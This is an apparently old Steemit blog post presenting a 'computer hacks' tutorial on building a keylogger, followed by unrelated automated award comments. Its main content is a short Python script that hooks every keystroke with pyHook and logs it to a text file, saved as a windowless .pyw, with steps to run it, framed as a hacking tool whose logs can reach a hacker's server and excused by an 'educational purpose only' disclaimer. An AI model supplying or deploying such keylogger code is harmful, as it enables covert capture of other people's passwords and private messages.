*How To Create a Keylogger using Notepad

in #ghana6 years ago

COMPUTER TRICKS, TIPS AND HACKS

By tEA CompTech😎👍🏾

How To Create a Keylogger using Notepad

//Now, A keylogger is a hacking tool of the newbie, but sometimes highly skilled hackers also use them. These are very easy to create and use. So, let’s learn how to create our free keylogger.//

What is a keylogger?

//Before that, it’s important to know what a keylogger actually is (in case you did not already know). It is a program that records your keystrokes and saves them as a log file either onto a server over a reverse TCP tunnel or on the local machine itself. The server, in this case, is the one hosted by the hacker(you).//

How To Create Keylogger Using Notepad?

*1. Open notepad on your computer and paste the following code in it:👇🏾

import pyHook, pythoncom, sys, logging

feel free to set the file_log to a different file name/location

file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

*2. Save the file as keylogger.pyw (it can be Comptech.pyw)

*3. Fire up your keylogger. Double-click on the file you just created and test it by typing something on ur keyboard.

  1. When you want to stop logging, open up task manager and kill all the “python” processes.

  2. Then look for keyloggeroutput.txt in the same directory were the something.pyw is. Open it up and you should see whatever you typed.

//NOTE: You may see some weird looking character if you open it with notepad , those characters means you hit the backspace key.//

//So this is a simple keylogger that saves the keystrokes on the local machine. You can explore further for more complex keyloggers.//

//The information provided is for educational purpose only, if a person uses this information for malicious purposes, he/she will be solely responsible....Not me🤷🏽‍♂//

Jnr CompTech Is Ya IT Frnd😎🤙🏽

Sort:  

Congratulations @kwesijunior! You received a personal award!

1 Year on Steemit

Click here to view your Board

Do not miss the last post from @steemitboard:

Christmas Challenge - The party continues

Support SteemitBoard's project! Vote for its witness and get one more award!

Congratulations @kwesijunior! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 2 years!

You can view your badges on your Steem Board and compare to others on the Steem Ranking

Vote for @Steemitboard as a witness to get one more award and increased upvotes!